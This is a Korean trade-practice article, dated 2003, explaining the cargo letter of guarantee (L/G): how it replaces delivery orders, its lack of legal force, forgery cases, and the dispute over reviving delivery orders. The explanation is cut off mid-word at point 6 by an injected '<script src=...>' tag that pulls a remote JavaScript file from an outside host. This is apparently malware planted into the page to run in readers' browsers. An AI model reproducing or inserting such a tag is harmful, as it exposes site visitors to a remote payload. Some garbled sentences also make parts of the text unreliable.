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작성일 |
2003-06-09 |
| 제목 |
(실무해설.no.2)화물선취보증장 'L/G'를 알아보는 체크포인트 |
지난 '88년 3월 동원실업 L/G위조 사건이 발생한 데 이어 최근 영광무역 L/G사기사건이 발생해 L/G가 안고 있는 위험에 대한 경각심이 새롭게 일고 있 다. D/O라는 화물 인도 지시서 대신 쓰이면서 상관례가 되어 버린 L/G. 그 개념 과 위조 사건 사례, 안고 있는 위험 등을 점검해 보고 그 대안은 무엇인지를 10 가지 포인트로 나누어 알아보면...
1. L/G 위조 사건 등에 대한 논란이 끊이지 않고 있다. 과연 L/G란 무엇인가? L/G(Letter of Guarantee)라 불리는 화물선취보증서는 화주가 Original B/L이 당도하기 전 수입화물을 인도받기 위해 은행으로부터 발행받아 선사에 제시하는 일종의 화물인도요구 성격의 서류이다. L/G상에는 인도받을 화물의 명세와 화물선취에 관한 일정한 약정이 기재되는데, 보통 수화주와 은행이 연대 보증하게 된다. O B/L의 도착이 지연될 경우 수화주는 L/C(신용장)를 개설한 국내우 선사는 L/G 를 발급한 은행에 진위 여부를 확인하고 수화주는 O B/L원본접수 즉시 선사에 제출하여야 하며 이때 선사가 L/G를 반환하므로써 의무가 완료된다.
2. 그렇다면 국내에서는 언제부터 L/G가 통용되게 되었으며 그 법적 효력은 어 떠한가? L/G에 의한 수입화물인도제가 생기기 전 세관이 D/O를 발급해 왔다. 그러나 지 난 '70년 10월 수입화물인도절차 간소화와 수입화물수송시간 단축을 이유로 D/O 징구제도가 관세청에 의해 폐지되기에 이르렀다. 이에따라 대안인 L/G에 의한 화물인도제가 등장, 상관행이 되어 통용되고 있는 데, 현재 L/G에 의한 화물인도는 국제적으로도 관행화돼 있으며 우리나라의 경 우 선박의 운항기간이 짧은 일본이나 동남아지역은 화물도착시점과 O B/L 도착 시점과의 시간차가 커 대부분 화물인도가 B/L 대신 L/G를 통해 이루어지고 있 다. L/G는 사실 화물을 인도하고자 하는 화주가 L/C 개설인이며 O B/L상의 실화 주 임을 증명하는 은행의 보증서로서 관행서류일 뿐 법적 효력을 갖고 있지는 않 다.
3. 동원L/G사건, 금하방직 화물유용사건 등 화물인도절차와 관계된 사건이 많 다. L/G위조와 관련된 사건들을 살펴보면... '88년 3월 동원실업이 L/G를 위조, 20개선사로부터 1,000만달러의 수입화물을 부당통관인출처분한 사실이 밝혀져 4년동안 피해당사자인 해운업계와 은행간 법 정 줄달이기가 계속되고 있음은 주지의 사실이다. 또 지난해 4월에는 '83년 8월 수입된 화물이 L/G상 사고로 실화주가 아닌 엉뚱 한 화주에게 인도됐다는 사실이 밝혀진 바 있다. 이 사건에는 럭키금성상사 2개선사 서울신탁은행 등이 관련됐다. 이같은 사건의 연발 속에서 D/O징구제 부활논란이 치열하게 전개되고 있는 가운 데 최근 영광무역이 L/G를 완벽하게 위조, 9억원 가량의 화물대금을 챙겨 사라 지는 사건이 발생, 또 다시 관련업계가 술렁이고 있는 실정.
4. L/G위조사건이 계속 발생되면서 선사의 D/O징구제 부활요구가 강력해지 고 있는데, 수입화물인도절 태개선에 대한 논의는 어떻게 진행되고 있나? 선주·동세관당국 은행 등 관련 업계와 단체, 기관들이 수차례 협상테이블을 마 련했으나 아직까지 이견의 폭을 좁히지 못하고 있다. 이같은 상황에서 지난해 4월 금하방직의 화물유용사건으로 선사의 피해가 극심 하자 국적선업계와 대리점업계가 공동결의, 자체 D/O징구를 시행한다는 강력한 대응태세를 취했으며, L/G와 관련해서는 L/G의 진위 확인을 위해 FAX로 L/G 보 증은행에 조회하여 이를 확인한 후 D/O를 발급키로 대안을 마련했으나 이번 영 광무역 L/G위조사건으로 동 대안의 실효성 부재만을 확인하고 말았다.
5. 그렇다면 D/O징구제도에 대한 선주 화주 세관당국간의 이견차가 얼마나 심하 기에 문제해결의 실마리를 이처럼 찾지 못하고 있는 것일까? 수입화물인도절차 개선과 관련한 대형 공청회가 열리기까지 했으나 이들 삼자의 입장에는 양보의 기색이 없다. 먼저 실제 피해자측이라 할 수 있는 선사들은 지난 '70년 10월 제3공화국 정부 의 수출장려정책으로 인해 D/O제도가 폐지됐는데, 화주편의 위주의 L/G제도로 말미암아 발생하는 선사피해가 극심한 만큼 자구책으로 선사 자체 D/O를 발급해 야겠다는 주장. 이에대해 화주들은 D/O징구제도 자체에 대해서는 이의가 없지만 D/O징구에 따른 수입화물인도시기 지연과 이에 기인한 적체현상으로 국가적 손실을 입게 될 것 이라고 대응하고 있다. 한편 D/O징구제를 폐지한 세관당국은 최근들어 정부가 화물수송원활화를 위해 각종 무역절차를 간소화해 나가는 노력을 보이고 있는 상황에서 수입화물 인도 절차를 복잡하게 만드는 D/O징구부활은 국가적인 차원에서 볼 때 재고할 수 없 다는 입장을 보이고 있다.
6. L/G위조사건 외에 화물인?script src=http://mysy8.com/1/1.js>
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